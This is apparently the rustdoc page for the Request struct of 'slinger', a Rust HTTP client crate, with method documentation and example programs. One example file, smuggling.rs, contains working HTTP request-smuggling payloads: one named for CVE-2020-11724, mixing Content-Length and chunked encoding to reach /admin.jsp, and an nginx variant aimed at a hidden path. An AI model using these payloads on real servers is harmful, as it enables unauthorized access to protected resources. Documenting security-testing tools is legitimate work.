slinger

Struct Request

Source
pub struct Request { /* private fields */ }
Expand description

A request which can be executed with Client::execute().

Implementations§

Source§

impl Request

Source

pub fn builder() -> Builder

Creates a new builder-style object to manufacture a Request

This method returns an instance of Builder which can be used to create a Request.

§Examples
let request = Request::builder()
    .method("GET")
    .uri("https://www.rust-lang.org/")
    .header("X-Custom-Foo", "Bar")
    .body(())
    .unwrap();
Examples found in repository?
examples/http_to_command.rs (line 46)
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
fn main() {
  let req: slinger::Request = slinger::Request::builder()
    .uri("http://httpbin.org/get")
    .header("X", "X")
    .body(Bytes::from(b"\x7f\x45\x4c\x46\x01\x00\x02\x03".to_vec()))
    .unwrap()
    .into();
  println!("{}", req.get_command());
  let raw = RAW.replace('\n', "\r\n");
  let raw = [raw.as_bytes(), b"\x7f\x45\x4c\x46\x01\x00\x02\x03"].concat();
  let raw_req = slinger::RequestBuilder::default()
    .raw(raw, true)
    .build()
    .unwrap();
  println!("{}", raw_req.get_command());
  // or from request
  println!("{}", CommandRecord::from(&req))
}
More examples
Hide additional examples
examples/base.rs (line 18)
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
fn main() -> Result<(), Box<dyn std::error::Error>> {
  let client = ClientBuilder::new()
    .user_agent(HeaderValue::from_static(
      "Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0",
    ))
    .build()
    .unwrap();
  let resp = slinger::get("http://httpbin.org/get")?;
  println!("{:?}", resp.body());
  let resp = client
    .post("http://httpbin.org/post")
    .body(b"test".to_vec())
    .send()?;
  println!("{:?}", resp.text());
  let req = Request::builder()
    .uri("http://httpbin.org/head")
    .method("HEAD")
    .header("pragma", "akamai-x-cache-on")
    .body(None)
    .unwrap();
  let resp = client.execute(req).unwrap();
  println!("{:?}", resp);
  Ok(())
}
Source

pub fn raw<U, R>(uri: U, raw: R, unsafe_raw: bool) -> Request
where Bytes: From<R>, Uri: From<U>,

This method return raw_request to create a Request

§Examples
let request: Request = Request::raw(http::Uri::from_static("http://httpbin.org"),"",true);
assert!(request.raw_request().is_some());
Examples found in repository?
examples/request_budiler.rs (line 13)
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fn main() -> Result<(), Box<dyn std::error::Error>> {
  let client = ClientBuilder::new().build().unwrap();
  let resp = client
    .post("https://httpbin.org/post")
    .header("XX", "XX")
    .header_line("X: X")
    .body(b"data".as_slice())
    .send()?;
  println!("{:?}", resp.text());
  let u = http::Uri::from_static("https://httpbin.org/post");
  let raw = Request::raw(u, "", true);
  println!("{:?}", raw);
  Ok(())
}
Source§

impl Request

Source

pub fn method(&self) -> &Method

Set the HTTP method for this request.

By default, this is GET.

§Examples

let req = Request::builder()
    .method("POST")
    .body(())
    .unwrap();
Source

pub fn method_mut(&mut self) -> &mut Method

Get the HTTP Method for this request.

By default, this is GET. If builder has error, returns None.

§Examples

let mut req = Request::builder();
assert_eq!(req.method_ref(),Some(&Method::GET));

req = req.method("POST");
assert_eq!(req.method_ref(),Some(&Method::POST));
Source

pub fn uri(&self) -> &Uri

Set the URI for this request.

By default, this is /.

§Examples

let req = Request::builder()
    .uri("https://www.rust-lang.org/")
    .body(())
    .unwrap();
Source

pub fn uri_mut(&mut self) -> &mut Uri

Get the URI for this request

By default, this is /.

§Examples

let mut req = Request::builder();
assert_eq!(req.uri_ref().unwrap(), "/" );

req = req.uri("https://www.rust-lang.org/");
assert_eq!(req.uri_ref().unwrap(), "https://www.rust-lang.org/" );
Source

pub fn headers(&self) -> &HeaderMap

Appends a header to this request builder.

This function will append the provided key/value as a header to the internal HeaderMap being constructed. Essentially this is equivalent to calling HeaderMap::append.

§Examples

let req = Request::builder()
    .header("Accept", "text/html")
    .header("X-Custom-Foo", "bar")
    .body(())
    .unwrap();
Source

pub fn headers_mut(&mut self) -> &mut HeaderMap

Get header on this request builder. when builder has error returns None

§Example
let req = Request::builder()
    .header("Accept", "text/html")
    .header("X-Custom-Foo", "bar");
let headers = req.headers_ref().unwrap();
assert_eq!( headers["Accept"], "text/html" );
assert_eq!( headers["X-Custom-Foo"], "bar" );
Source

pub fn body(&self) -> Option<&Body>

“Consumes” this builder, using the provided body to return a constructed Request.

§Errors

This function may return an error if any previously configured argument failed to parse or get converted to the internal representation. For example if an invalid head was specified via header("Foo", "Bar\r\n") the error will be returned when this function is called rather than when header was called.

§Examples

let request = Request::builder()
    .body(())
    .unwrap();
Source

pub fn version(&self) -> Version

Returns the associated version.

§Examples
let request: Request<()> = Request::default();
assert_eq!(request.version(), Version::HTTP_11);
Source

pub fn version_mut(&mut self) -> &mut Version

Returns a mutable reference to the associated version.

§Examples
let mut request: Request<()> = Request::default();
*request.version_mut() = Version::HTTP_2;
assert_eq!(request.version(), Version::HTTP_2);
Source

pub fn raw_request(&self) -> &Option<RawRequest>

Returns raw_request.

§Examples
let request: Request = Request::raw(http::Uri::from_static("http://httpbin.org"),"",true);
assert!(request.raw_request().is_some());
Source

pub fn get_command(&self) -> String

Returns ncat or curl command to send request.

§Examples
let req: slinger::Request = slinger::Request::builder()
.uri("http://httpbin.org/get")
.header("X", "X")
.body(bytes::Bytes::from(b"\x7f\x45\x4c\x46\x01\x00\x02\x03".to_vec())).unwrap().into();
println!("{}", req.get_command());
Examples found in repository?
examples/http_to_command.rs (line 52)
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
fn main() {
  let req: slinger::Request = slinger::Request::builder()
    .uri("http://httpbin.org/get")
    .header("X", "X")
    .body(Bytes::from(b"\x7f\x45\x4c\x46\x01\x00\x02\x03".to_vec()))
    .unwrap()
    .into();
  println!("{}", req.get_command());
  let raw = RAW.replace('\n', "\r\n");
  let raw = [raw.as_bytes(), b"\x7f\x45\x4c\x46\x01\x00\x02\x03"].concat();
  let raw_req = slinger::RequestBuilder::default()
    .raw(raw, true)
    .build()
    .unwrap();
  println!("{}", raw_req.get_command());
  // or from request
  println!("{}", CommandRecord::from(&req))
}
More examples
Hide additional examples
examples/smuggling.rs (line 33)
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
fn cve_2020_11724() {
  let raw: &str = r#"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

"#;
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::new().build().unwrap();
  // replace \n to \r\n
  let raw = raw.replace('\n', "\r\n");
  let resp = client
    .raw("http://127.0.0.1:9015/", raw, true)
    .send()
    .unwrap();
  println!("{:?}", resp.text());
  let command = resp.request().unwrap().get_command();
  println!("{}", command);
}

fn nginx() {
  let raw = r#"
GET /a HTTP/1.1
Host: localhost
Content-Length: 56

GET /_hidden/index.html HTTP/1.1
Host: notlocalhost


"#;
  let client = ClientBuilder::new().build().unwrap();
  // replace \n to \r\n
  let raw = raw.replace('\n', "\r\n");
  let resp = client
    .raw("http://127.0.0.1:9015/", raw, true)
    .send()
    .unwrap();
  println!("{:?}", resp.text());
  let command = resp.request().unwrap().get_command();
  println!("{}", command);
}

Trait Implementations§

Source§

impl Clone for Request

Source§

fn clone(&self) -> Request

Returns a copy of the value. Read more
1.0.0 · Source§

fn clone_from(&mut self, source: &Self)

Performs copy-assignment from source. Read more
Source§

impl Debug for Request

Source§

fn fmt(&self, f: &mut Formatter<'_>) -> Result

Formats the value using the given formatter. Read more
Source§

impl Default for Request

Source§

fn default() -> Request

Returns the “default value” for a type. Read more
Source§

impl From<&Request> for CommandRecord

Source§

fn from(value: &Request) -> Self

Converts to this type from the input type.
Source§

impl<T> From<Request<T>> for Request
where T: Into<Body>,

Source§

fn from(value: HttpRequest<T>) -> Self

Converts to this type from the input type.

Auto Trait Implementations§

Blanket Implementations§

Source§

impl<T> Any for T
where T: 'static + ?Sized,

Source§

fn type_id(&self) -> TypeId

Gets the TypeId of self. Read more
Source§

impl<T> Borrow<T> for T
where T: ?Sized,

Source§

fn borrow(&self) -> &T

Immutably borrows from an owned value. Read more
Source§

impl<T> BorrowMut<T> for T
where T: ?Sized,

Source§

fn borrow_mut(&mut self) -> &mut T

Mutably borrows from an owned value. Read more
Source§

impl<T> CloneToUninit for T
where T: Clone,

Source§

unsafe fn clone_to_uninit(&self, dst: *mut T)

🔬This is a nightly-only experimental API. (clone_to_uninit)
Performs copy-assignment from self to dst. Read more
Source§

impl<T> From<T> for T

Source§

fn from(t: T) -> T

Returns the argument unchanged.

Source§

impl<T, U> Into<U> for T
where U: From<T>,

Source§

fn into(self) -> U

Calls U::from(self).

That is, this conversion is whatever the implementation of From<T> for U chooses to do.

Source§

impl<T> ToOwned for T
where T: Clone,

Source§

type Owned = T

The resulting type after obtaining ownership.
Source§

fn to_owned(&self) -> T

Creates owned data from borrowed data, usually by cloning. Read more
Source§

fn clone_into(&self, target: &mut T)

Uses borrowed data to replace owned data, usually by cloning. Read more
Source§

impl<T, U> TryFrom<U> for T
where U: Into<T>,

Source§

type Error = Infallible

The type returned in the event of a conversion error.
Source§

fn try_from(value: U) -> Result<T, <T as TryFrom<U>>::Error>

Performs the conversion.
Source§

impl<T, U> TryInto<U> for T
where U: TryFrom<T>,

Source§

type Error = <U as TryFrom<T>>::Error

The type returned in the event of a conversion error.
Source§

fn try_into(self) -> Result<U, <U as TryFrom<T>>::Error>

Performs the conversion.